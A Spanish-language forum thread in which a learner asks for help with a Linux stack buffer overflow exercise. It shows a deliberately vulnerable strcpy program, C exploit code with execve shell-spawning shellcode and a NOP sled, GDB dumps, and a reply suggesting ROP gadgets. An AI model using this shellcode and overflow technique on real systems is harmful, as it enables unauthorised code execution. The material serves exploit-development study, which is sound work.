ayuda con un exploit para linux

Iniciado por Belial & Grimoire, 4 Septiembre 2013, 23:19 PM

0 Miembros y 1 Visitante están viendo este tema.

Belial & Grimoire

hola

Tengo problemas con un ejercicio de un exploit para linux

Este es el codigo a explotar

#include <stdio.h>
#include <string.h>

main(int argc, char **argv){
   
   char buffer[80];
   strcpy(buffer, argv[1]);
   
   return 1;
}


Este es el codigo del exploit

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

// shellcode ripped from http://www.milw0rm.com/shellcode/444

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xaa\xaa\xaa\xaa";

#define NOP 0x90


main()
{
       char buffer[96];

       memset(buffer, NOP, 96);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+88, retaddr, 4);
       memcpy(buffer+92, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}



Cuando lo compilo, lo depuro con GDB, el objetivo es meter en ret la direccion de inicio donde se encuentra la shellcode y meter en ESP el valor del inicio de la shellcode, asi que sobreescribo el buffer, despues sobreescribo ebp, pero en el codigo de arriba, ret se sobreescribe con x90 y esp+4 se sobreescribe con la direccion de ret

(gdb) x/22xw $esp
0xffffcfe0:   0x00000000   0x0804824c   0xffffffff   0x47488023
0xffffcff0:   0x47462a3c   0xf7ffc3d0   0x474edfd0   0x080482bd
0xffffd000:   0x00010000   0x476061d8   0x0804a000   0x08048492
0xffffd010:   0x00000002   0xffffd0d4   0xffffd0e0   0x474881ad
0xffffd020:   0x476083c4   0x00001000   0x0804844b   0x47608000
0xffffd030:   0x08048440   0x00000000

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0x90909090   0xaaaaaaaa

Este es ret y esp+4

0xffffd030:   0x08048440   0x00000000

y asi queda despues de meter los valores

0xffffd313:   0x90909090   0xaaaaaaaa

Asi que modifique el codigo disminuyendo la cantidad del buffer y quedo asi

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

char retaddr[] = "\xe0\xcf\xff\xff";

#define NOP 0x90


main()
{
       char buffer[92];

       memset(buffer, NOP, 92);

       memcpy(buffer, "EGG=", 4);

       memcpy(buffer+4, shellcode, 24);

       memcpy(buffer+84, retaddr, 4);
       memcpy(buffer+88, "\x00\x00\x00\x00", 4);

       putenv(buffer);

       system("/bin/sh");

       return 0;

}



pero volviendo a verificar con GDB

(gdb) x/22xw argv[1]
0xffffd2cb:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2db:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2eb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2fb:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd30b:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd31b:   0xffffcfe0   0x47445800

de esta forma ret queda con el valor de inicio de la shellcode, pero esp queda un valor distinto a 0x00

0xffffd31b:   0xffffcfe0   0x47445800

Y el problema es que deberia quedar asi

0xffffd31b:   0xffffcfe0   0x00000000

Al principio crei que posiblemente no alcanzaba y tanto aumente nop's como disminui pero nada, entonces se me ocurrio modificar el valor de memcpy de buffer+88

memcpy(buffer+88, "\x90\x90\x90\x90", 4);

entonces lo volvi a depurar y miren

(gdb) x/22xw argv[1]
0xffffd2c3:   0x6850c031   0x68732f6e   0x622f2f68   0x99e38969
0xffffd2d3:   0xe1895352   0x80cd0bb0   0x90909090   0x90909090
0xffffd2e3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd2f3:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd303:   0x90909090   0x90909090   0x90909090   0x90909090
0xffffd313:   0xffffcfe0   0x90909090


lo que quiere decir que los ceros no se incluyen y no se que podria hacer para arreglar esto, ya que para que funcione deberia ser asi

0xffffd313:   0xffffcfe0   0x00000000

para que ret avance a la direccion 0xffffcfe0 con el valor 0x00000000

Alguien me podria ayudar a solucionarlo porfavor

salu2

EDITO

tengo desactivado randomize_va_space y enforce de SElinux

y los dos estan compilados con los mismo parametros

gcc -ggdb -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
.                                 

.:UND3R:.

Hola, no entiendo por qué intentas almacenar una serie de 0, strcpy copia strings hasta que detecta una terminación null, en este caso el 0 que estás copiando. Yo lo solucionaría con un ROP Gagdet (MASM):
- XOR r32,r32, RET
- PUSH r32, RET

donde r32 debe ser cualquier registro de propósito general, de esta forma con la primera cadena de ROP se deja un registro en 0 y luego con la segunda, se es empujado.

Otra alternativa de ROP Gadget:
- MOV r32,0FFFFFFFFh, RET
- INC r32,RET
- PUSH r32, RET

De esta forma al incrementar el registro, se convertirá en 0. Todavía no me inicio con exploits en linux, pero espero que sea de utilidad, si no lo es. Mis disculpas, saludos.

Solicitudes de crack, keygen, serial solo a través de mensajes privados (PM)

Belial & Grimoire

#2
hola

gracias por la respuesta, pero los opcode funcionan bien, tambien la direccion de ret funciona, lo unico que no funciona es el registro de ESP, porque los ceros en hexadecimal no sobreescriben ESP+4, que es el valor del registro donde ret al dirigirse tiene que iniciar y donde comienza la shellcode, y como no sobreescribe ESP+4 con 0x00 al saltar a la direccion de la shellcode, busca un valor erroneo y se provoca un error
.